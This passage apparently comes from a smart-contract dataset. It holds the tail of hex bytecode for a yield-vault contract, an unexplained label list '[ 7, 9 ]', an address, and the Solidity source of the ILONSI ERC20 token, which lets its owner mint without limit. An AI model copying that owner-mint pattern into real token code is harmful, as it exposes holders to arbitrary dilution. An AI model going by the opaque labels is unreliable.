0640190fd5b600081116108e65760405162461bcd60e51b8152600401808060200182810382526025815260200180612c146025913960400191505060405180910390fd5b60006108f0610715565b90506108fc338361203b565b60006109268261091a8561090e61071b565b9063ffffffff61213716565b9063ffffffff61219016565b9050610930611c2b565b811115610a5357818314156109ac57600660009054906101000a90046001600160a01b03166001600160a01b031663bfd131f16040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561098f57600080fd5b505af11580156109a3573d6000803e3d6000fd5b50505050610a30565b60006109c66109b9611c2b565b839063ffffffff6121d216565b600654604080516319d1885d60e31b81526004810184905290519293506001600160a01b039091169163ce8c42e89160248082019260009290919082900301818387803b158015610a1657600080fd5b505af1158015610a2a573d6000803e3d6000fd5b50505050505b610a50610a438361091a8661090e61071b565b610a4b611c2b565b612214565b90505b600754610a70906001600160a01b0316338363ffffffff61222a16565b336000908152600a6020526040902054610a90908263ffffffff611de716565b336000818152600a6020908152604091829020939093558051848152905191927f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436492918290030190a2505050565b60055460ff1690565b6005546040805163b429afeb60e01b815233600482015290516101009092046001600160a01b03169163b429afeb91602480820192602092909190829003018186803b158015610b3657600080fd5b505afa158015610b4a573d6000803e3d6000fd5b505050506040513d6020811015610b6057600080fd5b505180610be45750600554604080516337b87c3960e21b815233600482015290516101009092046001600160a01b03169163dee1f0e491602480820192602092909190829003018186803b158015610bb757600080fd5b505afa158015610bcb573d6000803e3d6000fd5b505050506040513d6020811015610be157600080fd5b50515b610c1f5760405162461bcd60e51b815260040180806020018281038252602b815260200180612a46602b913960400191505060405180910390fd5b6001600160a01b038116610c7a576040805162461bcd60e51b815260206004820152601d60248201527f6e6577205f73747261746567792063616e6e6f7420626520656d707479000000604482015290519081900360640190fd5b60075460408051636f307dc360e01b815290516001600160a01b0392831692841691636f307dc3916004808301926020929190829003018186803b158015610cc157600080fd5b505afa158015610cd5573d6000803e3d6000fd5b505050506040513d6020811015610ceb57600080fd5b50516001600160a01b031614610d325760405162461bcd60e51b815260040180806020018281038252602f815260200180612b9c602f913960400191505060405180910390fd5b306001600160a01b0316816001600160a01b031663fbfa77cf6040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7557600080fd5b505afa158015610d89573d6000803e3d6000fd5b505050506040513d6020811015610d9f57600080fd5b50516001600160a01b031614610de65760405162461bcd60e51b815260040180806020018281038252602a815260200180612b24602a913960400191505060405180910390fd5b6006546001600160a01b03828116911614610ef2576006546001600160a01b031615610e9957600654600754610e30916001600160a01b039182169116600063ffffffff61228116565b600660009054906101000a90046001600160a01b03166001600160a01b031663bfd131f16040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610e8057600080fd5b505af1158015610e94573d6000803e3d6000fd5b505050505b600680546001600160a01b0319166001600160a01b038381169190911791829055600754610ecd9290821691166000612281565b600654600754610ef2916001600160a01b03918216911660001963ffffffff61228116565b50565b33321480610f8b5750610f06611ca7565b6001600160a01b03166330e412ad336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b158015610f5d57600080fd5b505af1158015610f71573d6000803e3d6000fd5b505050506040513d6020811015610f8757600080fd5b5051155b610fc65760405162461bcd60e51b8152600401808060200182810382526028815260200180612b746028913960400191505060405180910390fd5b610fd1823383612394565b5050565b600061070b610fe2611cf7565b846108468560016000610ff3611cf7565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff611de716565b6001600160a01b0381166000908152600a60205260409020545b919050565b6001600160a01b031660009081526009602052604090205490565b60096020526000908152604090205481565b600b5481565b6006546001600160a01b03166110d3576040805162461bcd60e51b815260206004820152601860248201527714dd1c985d1959de481b5d5cdd081899481919599a5b995960421b604482015290519081900360640190fd5b6005546040805163b429afeb60e01b815233600482015290516101009092046001600160a01b03169163b429afeb91602480820192602092909190829003018186803b15801561112257600080fd5b505afa158015611136573d6000803e3d6000fd5b505050506040513d602081101561114c57600080fd5b5051806111d05750600554604080516337b87c3960e21b815233600482015290516101009092046001600160a01b03169163dee1f0e491602480820192602092909190829003018186803b1580156111a357600080fd5b505afa1580156111b7573d6000803e3d6000fd5b505050506040513d60208110156111cd57600080fd5b50515b61120b5760405162461bcd60e51b815260040180806020018281038252602b815260200180612a46602b913960400191505060405180910390fd5b6112136125df565b600660009054906101000a90046001600160a01b03166001600160a01b0316634fa5d8546040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561126357600080fd5b505af1158015611277573d6000803e3d6000fd5b50505050565b60085481565b6000600560019054906101000a90046001600160a01b03166001600160a01b0316635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d357600080fd5b505afa1580156112e7573d6000803e3d6000fd5b505050506040513d60208110156112fd57600080fd5b5051905090565b6007546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b6000611338610715565b1561136757611362611348610715565b61091a61135361071b565b6008549063ffffffff61213716565b6107c3565b5060085490565b600a6020526000908152604090205481565b6005546040805163b429afeb60e01b815233600482015290516101009092046001600160a01b03169163b429afeb91602480820192602092909190829003018186803b1580156113cf57600080fd5b505afa1580156113e3573d6000803e3d6000fd5b505050506040513d60208110156113f957600080fd5b50518061147d5750600554604080516337b87c3960e21b815233600482015290516101009092046001600160a01b03169163dee1f0e491602480820192602092909190829003018186803b15801561145057600080fd5b505afa158015611464573d6000803e3d6000fd5b505050506040513d602081101561147a57600080fd5b50515b6114b85760405162461bcd60e51b815260040180806020018281038252602b815260200180612a46602b913960400191505060405180910390fd5b6114c06114ca565b6114c86125df565b565b6005546040805163b429afeb60e01b815233600482015290516101009092046001600160a01b03169163b429afeb91602480820192602092909190829003018186803b15801561151957600080fd5b505afa15801561152d573d6000803e3d6000fd5b505050506040513d602081101561154357600080fd5b5051806115c75750600554604080516337b87c3960e21b815233600482015290516101009092046001600160a01b03169163dee1f0e491602480820192602092909190829003018186803b15801561159a57600080fd5b505afa1580156115ae573d6000803e3d6000fd5b505050506040513d60208110156115c457600080fd5b50515b6116025760405162461bcd60e51b815260040180806020018281038252602b815260200180612a46602b913960400191505060405180910390fd5b6006546001600160a01b031661165a576040805162461bcd60e51b815260206004820152601860248201527714dd1c985d1959de481b5d5cdd081899481919599a5b995960421b604482015290519081900360640190fd5b600660009054906101000a90046001600160a01b03166001600160a01b031663bfd131f16040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561126357600080fd5b60006116b4610715565b6116c057506000611043565b61070f6116cb610715565b61091a6116d785611313565b61090e61071b565b600554604080516337b87c3960e21b815233600482015290516101009092046001600160a01b03169163dee1f0e491602480820192602092909190829003018186803b15801561172e57600080fd5b505afa158015611742573d6000803e3d6000fd5b505050506040513d602081101561175857600080fd5b505161179c576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b6001600160a01b0381166117f7576040805162461bcd60e51b815260206004820152601e60248201527f6e65772073746f726167652073686f756c646e277420626520656d7074790000604482015290519081900360640190fd5b600580546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106ec5780601f106106c1576101008083540402835291602001916106ec565b60055461010090046001600160a01b031681565b600061070b6118a1611cf7565b8461084685604051806060016040528060258152602001612d0360259139600160006118cb611cf7565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff611fa416565b600554604080516337b87c3960e21b815233600482015290516101009092046001600160a01b03169163dee1f0e491602480820192602092909190829003018186803b15801561195157600080fd5b505afa158015611965573d6000803e3d6000fd5b505050506040513d602081101561197b57600080fd5b50516119bf576040805162461bcd60e51b815260206004820152600e60248201526d4e6f7420676f7665726e616e636560901b604482015290519081900360640190fd5b600081116119fe5760405162461bcd60e51b8152600401808060200182810382526022815260200180612a946022913960400191505060405180910390fd5b808210611a3c5760405162461bcd60e51b815260040180806020018281038252602a815260200180612afa602a913960400191505060405180910390fd5b600b91909155600c55565b6006546001600160a01b031681565b600061070b611a63611cf7565b8484611e48565b600080611a81600c5461091a600b5461090e61071b565b90506000600660009054906101000a90046001600160a01b03166001600160a01b03166345d01e4a6040518163ffffffff1660e01b815260040160206040518083038186803b158015611ad357600080fd5b505afa158015611ae7573d6000803e3d6000fd5b505050506040513d6020811015611afd57600080fd5b50519050818110611b13576000925050506106f4565b6000611b25838363ffffffff6121d216565b9050611b2f611c2b565b811115611b4357611b3e611c2b565b611b45565b805b93505050506106f4565b33321480611be55750611b60611ca7565b6001600160a01b03166330e412ad336040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b03168152602001915050602060405180830381600087803b158015611bb757600080fd5b505af1158015611bcb573d6000803e3d6000fd5b505050506040513d6020811015611be157600080fd5b5051155b611c205760405162461bcd60e51b8152600401808060200182810382526028815260200180612b746028913960400191505060405180910390fd5b610ef2813333612394565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156112d357600080fd5b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b600c5481565b6000600560019054906101000a90046001600160a01b03166001600160a01b031663f77c47916040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d357600080fd5b3390565b6001600160a01b038316611d405760405162461bcd60e51b8152600401808060200182810382526024815260200180612c7f6024913960400191505060405180910390fd5b6001600160a01b038216611d855760405162461bcd60e51b8152600401808060200182810382526022815260200180612ad86022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600082820183811015611e41576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038316611e8d5760405162461bcd60e51b8152600401808060200182810382526025815260200180612c5a6025913960400191505060405180910390fd5b6001600160a01b038216611ed25760405162461bcd60e51b8152600401808060200182810382526023815260200180612a716023913960400191505060405180910390fd5b611f1581604051806060016040528060268152602001612b4e602691396001600160a01b038616600090815260208190526040902054919063ffffffff611fa416565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611f4a908263ffffffff611de716565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156120335760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ff8578181015183820152602001611fe0565b50505050905090810190601f1680156120255780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166120805760405162461bcd60e51b8152600401808060200182810382526021815260200180612c396021913960400191505060405180910390fd5b6120c381604051806060016040528060228152602001612ab6602291396001600160a01b038516600090815260208190526040902054919063ffffffff611fa416565b6001600160a01b0383166000908152602081905260409020556002546120ef908263ffffffff6121d216565b6002556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b6000826121465750600061070f565b8282028284828161215357fe5b0414611e415760405162461bcd60e51b8152600401808060200182810382526021815260200180612bcb6021913960400191505060405180910390fd5b6000611e4183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506126a2565b6000611e4183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fa4565b60008183106122235781611e41565b5090919050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261227c908490612707565b505050565b801580612307575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b1580156122d957600080fd5b505afa1580156122ed573d6000803e3d6000fd5b505050506040513d602081101561230357600080fd5b5051155b6123425760405162461bcd60e51b8152600401808060200182810382526036815260200180612ccd6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261227c908490612707565b600083116123dc576040805162461bcd60e51b815260206004820152601060248201526f043616e6e6f74206465706f73697420360841b604482015290519081900360640190fd5b6001600160a01b038116612430576040805162461bcd60e51b81526020600482015260166024820152751a1bdb19195c881b5d5cdd081899481919599a5b995960521b604482015290519081900360640190fd5b6006546001600160a01b0316156124fb57600660009054906101000a90046001600160a01b03166001600160a01b031663c2a2a07b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561248f57600080fd5b505afa1580156124a3573d6000803e3d6000fd5b505050506040513d60208110156124b957600080fd5b50516124fb576040805162461bcd60e51b815260206004820152600c60248201526b2a37b79036bab1b41030b93160a11b604482015290519081900360640190fd5b6000612505610715565b156125325761252d61251561071b565b61091a612520610715565b879063ffffffff61213716565b612534565b835b905061254082826128bf565b60075461255e906001600160a01b031684308763ffffffff6129af16565b6001600160a01b038216600090815260096020526040902054612587908563ffffffff611de716565b6001600160a01b038316600081815260096020908152604091829020939093558051878152905191927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c92918290030190a250505050565b6006546001600160a01b0316612637576040805162461bcd60e51b815260206004820152601860248201527714dd1c985d1959de481b5d5cdd081899481919599a5b995960421b604482015290519081900360640190fd5b6000612641611a6a565b90508015610ef25760065460075461266c916001600160a01b0391821691168363ffffffff61222a16565b6040805182815290517fa09b7ae452b7bffb9e204c3a016e80caeecf46f554d112644f36fa114dac6ffa9181900360200190a150565b600081836126f15760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ff8578181015183820152602001611fe0565b5060008385816126fd57fe5b0495945050505050565b612719826001600160a01b0316612a09565b61276a576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106127a85780518252601f199092019160209182019101612789565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461280a576040519150601f19603f3d011682016040523d82523d6000602084013e61280f565b606091505b509150915081612866576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156112775780806020019051602081101561288257600080fd5b50516112775760405162461bcd60e51b815260040180806020018281038252602a815260200180612ca3602a913960400191505060405180910390fd5b6001600160a01b03821661291a576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b60025461292d908263ffffffff611de716565b6002556001600160a01b038216600090815260208190526040902054612959908263ffffffff611de716565b6001600160a01b0383166000818152602081815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052611277908590612707565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470818114801590612a3d57508115155b94935050505056fe5468652063616c6c6572206d75737420626520636f6e74726f6c6c6572206f7220676f7665726e616e636545524332303a207472616e7366657220746f20746865207a65726f206164647265737364656e6f6d696e61746f72206d7573742062652067726561746572207468616e203045524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737364656e6f6d696e61746f72206d7573742062652067726561746572207468616e206e756d657261746f7274686520737472617465677920646f6573206e6f742062656c6f6e6720746f2074686973207661756c7445524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63655468697320736d61727420636f6e747261637420686173206265656e2067726579206c69737465645661756c7420756e6465726c79696e67206d757374206d6174636820537472617465677920756e6465726c79696e67536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63656e756d6265724f66536861726573206d7573742062652067726561746572207468616e203045524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820fda7477df4fee556b2891ac814e04d484e5bdbdd9da28197bba24ee269b1579364736f6c63430005100032
[ 7, 9 ]
0xf2b2456fbbf42728ae9b1c2588397f52a5a85394
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol) /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. */ function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Spend `amount` form the allowance of `owner` toward `spender`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/extensions/ERC20Burnable.sol) /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ abstract contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public virtual { _burn(_msgSender(), amount); } /** * @dev Destroys `amount` tokens from `account`, deducting from the caller's * allowance. * * See {ERC20-_burn} and {ERC20-allowance}. * * Requirements: * * - the caller must have allowance for ``accounts``'s tokens of at least * `amount`. */ function burnFrom(address account, uint256 amount) public virtual { _spendAllowance(account, _msgSender(), amount); _burn(account, amount); } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ILONSI is ERC20, ERC20Burnable, Ownable { constructor() ERC20("ILONSI", "ILO") { _mint(msg.sender, 72500000 * 10 ** decimals()); } function mint(address to, uint256 amount) public onlyOwner { _mint(to, amount); } }
